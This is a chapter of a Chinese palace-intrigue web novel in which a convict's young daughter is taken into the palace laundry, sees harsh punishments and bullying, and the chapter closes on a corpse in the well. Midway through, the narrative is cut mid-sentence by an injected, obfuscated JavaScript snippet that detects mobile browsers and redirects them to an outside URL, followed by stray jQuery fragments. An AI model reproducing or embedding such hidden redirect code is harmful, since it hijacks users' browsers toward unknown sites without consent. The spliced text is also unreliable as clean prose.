阔别两月,走出监牢的时候,京城已经入秋。当细密的雨丝落到皮肤上,感受着空气里隐约的寒意,观徽有种恍如隔世的感觉。
一桩大案的落幕,总算将如过年般热闹的大理寺清空出不少牢房。官差数着人,每满十人便用链条按着顺序锁在一起,两个官差一前一后押送她们步行入掖庭交接。
曾经都是官眷,衣食住行都有人伺候。如今却要被当街押送,百姓唾弃打量的每一道眼神,每一句指指点点,于曾经的天之骄子们来说都是公开羞辱。
“我不要,我不要去!”终于有人受不住这难堪的时刻,当街哭闹起来。小吏却没有好脾气,押送一趟没有油水的活计,本就不耐烦,扯下腰间的鞭子便走过来。
鞭子的破空声在耳边响起,甚至毫无顾忌地往人脸上招呼。观徽倒抽了口气,这样的力道下去,排她前头的女娘岂不是要破相?几乎没有思考的间隙,她抬手推了一把。
“嘶——”被绑着后她们距离本就近,鞭子难免甩到观徽的手上,划出一道深深的血痕。
她身前的女娘也没落什么好,背上长长的一道鞭痕,血迹映到单薄的布料上。她几乎被吓傻了,还不到十岁的年纪,过去何曾见过这样粗暴的场面。
观徽推着她的肩膀:“别发愣了,快些走。”
她这才如梦初醒,又走了几步,回过头来怯怯地瞪了一眼小吏的背影。观徽听到她小声咬牙:“若我阿娘知晓了……”
她又哭了起来,这次却不敢再闹脾气不走了。
沿着向北的街道又走约三里路,总算窥见宫墙一隅。为首的小吏向禁卫军呈递大理寺盖章的移碟,后厉声喝罪奴们跪至门道内,待禁卫军按人头检查。
黑色长靴踩在湿滑的石板上,逐步移近观徽所在的位置。忽的,他顿住脚步,喝问:“为何不见额间黥印?”
小吏赔笑,正要说好话,那名禁卫军已将几名不曾黥首的幼童拽出队列,连接的锁链连带着其余犯人跟着踉跄往前扑。
也在此时,听到动静的朱校尉走过来,打量一圈罪犯,目光定在观徽的脸上。他抬手:“放人。”
一开始检查出问题的禁卫军不肯:“大人,她们分明是逃避了黥刑。”
“太子诏令,念此批犯人中稚龄者无辜,可免黥首。”朱校尉冷笑:“本官是听太子的令,还是你的?”
说话人一凛,忙低头告罪。朱校尉将年纪小的孩子点出来,从小吏手里要走:“本官带她们去掖庭。”
“可……”大理寺的人怕坏了差事,朱校尉便斥道:“难不成本官还会放跑罪人?”
这次押送罪犯的只是普通小吏,对上正六品的朱校尉,只得退让。移交了几人的犯由碟,朱校尉便牵了一串的小孩率先走了。
终于进入皇城,朱校尉领着人从太极殿旁的侧道穿行而过,汉白玉台上的巍峨殿宇投下一片巨大的阴影。所有人都垂着头,在一片肃静的环境中放缓了呼吸。
淋着雨又沿向西的夹道行有半刻钟,有一面孔严厉的嬷嬷候在巷口。朱校尉松一口气,将身后的孩子交给面前的人:“张宫正,人就交给你了。”
“劳校尉走一遭。”张宫正略福身,朱校尉抱拳一礼。目送着人远去,张宫正严厉的视线才落到那些孩子身上。
“我不管你们从前是什么身份,只要进了掖庭,就得忘记从前的一切。尊贵也好,体面也好,日后你们只是伺候人的奴婢。”张宫正审视地看过所有人,见没有人有闹腾的意向,才解下肩头的包裹,将五双鞋子分发给她们。
从大理寺走至皇城内,她们被迫脱去鞋袜徒步,这也是受刑的一部分。走到此处,脚底已经伤痕累累。观徽从小习惯了受伤吃痛,这会儿利索的自己穿好鞋子。手上解了镣铐后,才发现手腕那一圈已经肿了起来。
“快走。”张宫正呵斥连穿鞋都慢半拍的孩子,观徽连忙直起身,率先走入永巷。
巷道霎时变得狭窄,她们不得不排着队进入。张宫正走在最后面,冷声说:“感念太子殿下恩德,赐你们每人一双鞋,免去走苦行砖之罪。”
观徽望着脚底凹凸不平又尖锐的石板路,若赤脚走过,必定会留下斑斑伤痕。一步又一步,伤口来不及愈合,鲜血便争先恐后的流出来。
真是……不将罪奴作人看。
观徽悄悄抬头看了一眼天空,阴灰的云层也被三丈高的宫墙分割成长长的一条块状天幕,带有食物气味的蒸汽从巷道东侧的铁窗棂内鱼贯而出,在狭窄的巷道内烫得人皮肤发红。
出了那条巷子,几乎所有人都松一口气。张宫正喝止她们的窃窃私语,领着人径直入了一处破旧的宫院:“今后,你们便住在此处,不得随意离开。”
院内有一口小井,井口极窄。院中摆着一盆盆脏污的、或是浣洗过的衣物。监管宫女干活的嬷嬷见到张宫正,连忙从藤椅上站起来,低头屈膝:“参见宫正,恭请训示。”
张宫正将人交由她:“这些都是罪官家眷,日后由你教导。念她们年纪小,十岁前只做普通奴婢七成的活计。”
嬷嬷应声:“是。”
张宫正对着跪地的宫女们训诫一番,很快离开了浣院。嬷嬷站直身子,抓起放在藤椅上的荆条,一步步走到新来的浣洗婢面前:“我姓周,你们可以管我叫周嬷嬷。此处你们也看得清楚,每日的活计就是为宫中浣洗。我脾性不好,不爱看自己的院子里有人叽叽喳喳争吵,每日分到些什么,就洗干净什么,不许顶嘴。”
她先带着人去厢房内分好床铺,马不停蹄就将人赶到院子里,一人分到五盆脏衣服:“日落前洗不完就没饭吃,记着,一件衣服洗不干净,就打一次手掌心。”
观徽打量了一圈院中人,见她们都默不作声地干活,便歇了打探消息的心思,老实地坐到小马扎上,浆洗起自己分到的衣裳。她的运气不算差,分到的都是宫女的衣裳,算不上有多脏。
午后出了太阳,宫女们便不再躲于檐下浆洗。膳房送来了伙食,周嬷嬷领了膳食进屋里吃去了,院子里才算活跃起来,有了些说话声。院中原本一共有七名宫女,隐隐有小管事风头的是一个叫崔珠的宫女。
她率先揭了食盒盖子,捡着爱吃的都挑到自己碗里,剩下的才允许其他宫女分。观徽偷偷打量一圈,见其余人虽然隐隐不悦,但没人敢说什么。于是当崔珠说新来的五个丫头没有饭吃的时候,她也不曾冒头。
果不其然,白日里挨了一鞭子的女孩不肯被欺负,闯进周嬷嬷的屋里想要告状,却被周嬷嬷罚多洗三盆衣服。
“我说过,我的院里不准吵吵嚷嚷的。”周嬷嬷站在屋内,对着院里哭哭啼啼的女孩毫无怜惜:“你们今日刚来,名单还不曾交到膳房里,难不成还想抢别人的饭吃?”
说完关上门,也不管崔珠仗势将自己的三盆衣服分了出去。观徽看在眼里,趁着崔珠躲懒的时候,悄悄从女孩的木盆里拿走几件衣裳:“我帮你洗一点,太阳快落山了。”
“谢谢。”女孩的眼眶都哭肿了,想来以前没受过这样的欺负:“我记得你……早上你也帮了我。”
观徽笑了笑,没在意。她摸着手里的布料,那名叫崔珠的宫女洗的衣裳料子明显比其余人的要精贵许多,可衣裳制式又与其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197118|165255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他宫女的相差不大,想来是一些比较得势的宫女穿的衣服。
她思索着,崔珠明显与周嬷嬷沆瀣一气,崔珠做了什么,值得周嬷嬷袒护?而自己如果想过的好些,是该与她们交好,还是……
“我……我叫施令窈。”眼皮哭肿的施令窈抽抽搭搭地说:“我还有五盆衣裳实在……实在洗不完了,你能不能帮帮我。”
观徽无奈地让她看自己跟前的木盆,还有一盆半的衣裳,这还没有算上帮施令窈洗的七八件衣服:“我也洗不完呀,你再问问其他人吧。”
不怪施令窈的速度慢,她以前就没干过这样的粗活。洗上一下午,十根手指头都泡浮肿了,可也赶不上洗崔珠甩给她的三盆衣服。
施令窈的眼泪一天内都不曾停过,哭着求了几个人,可没人有闲工夫帮她,自己手上的衣服压根洗不完。
最后一丝日光散去,院中不被允许点烛,施令窈只能摸着黑继续蹲在井边洗衣裳。五个新人里最终只有三个人吃上了饭,崔珠像是刻意羞辱人,多出的饭食直接倒入盛装泔水的木桶里,也不许没洗完衣裳的人吃饭。
观徽看了一眼黑漆漆的院子,悄悄掰了半个馒头藏在袖子里。等崔珠进了屋子后,才走到院子里将馒头塞给施令窈。
入宫的第一夜,所有人沾枕就睡,所有的伤春悲秋都被一下午的浆洗冲散了。观徽阖着眼,强迫自己不许睡着。等到屋内只听得到呼吸声时,她悄悄下了床,走到门边望向周嬷嬷屋子的方向。
周嬷嬷的屋子里点着烛,透过窗纸,能看见两道人影一高一低的说着话。只是距离远,并不能听见二人的声音。不多时,崔珠端着一盆洗脚水走出周嬷嬷的屋子,看来她方才是在为周嬷嬷洗脚。
“哟,还没洗完呢。”崔珠手上的一盆水直接泼在院子里,施令窈惊叫一声跳起来,裤子却还是被打湿了。
崔珠的语气里冒着火,像是刻意对施令窈撒气。施令窈白日里吃过崔珠的暗亏,这会儿被激,却还是没忍住脾气,弯腰抱起地上的半桶井水就朝崔珠泼了过去。
崔珠的嗓子里冒出一阵尖利的叫声,随后是响亮的巴掌声,施令窈被打了。
院子里的吵闹终于引来了屋里的周嬷嬷,她黑沉着脸走到院子里:“都吵什么吵?崔珠,你要反了天吗?”
屋子里的呼吸声粗重不少,眼瞅着人要被吵醒了,观徽走回床边,装作是在穿鞋子,对着撑着手臂坐起来的女孩们说:“外面好像在吵架,你们要去看看吗?”
“还让不让人睡。”屋子里还睡着两个原本就在浣院的宫女,听到院子里崔珠的声音,嘟囔几句又睡下了。见她们的举动,原本迟疑的女孩也躺了回去。今天吃的下马威足够让她们长教训了,并不敢擅自行动。
观徽走回门边,拉开一条狭窄的门缝。院中周嬷嬷已经回去了,崔珠睡的屋子点起了烛,人影攒动,像是一屋子的宫女都被吵醒了。
不久,又有一个眼生的宫女抱着崔珠的衣裳走到院子里,崔珠就站在门口:“江桃,你今晚就盯着她洗完。不洗完,谁都不许睡。”
看了看夜色,观徽打着哈欠爬回床上。许是白日里太累,今夜她睡得格外沉。
翌日,天刚刚亮,早起的宫女不满地推醒屋子里几个年纪小的女孩:“一身的懒骨头,别连累我们被周嬷嬷骂。”说完端着洗漱的用具去了院子里。
天还是灰蒙蒙的,昨夜又下了雨,地砖上蓄着积水。宫女抱着自己的脸盆走到井边,打着哈欠捞起其上的水桶。弯腰正要将水桶放下去,忽的一顿,一双眼睛恐惧地瞪大。
“死——死人了!”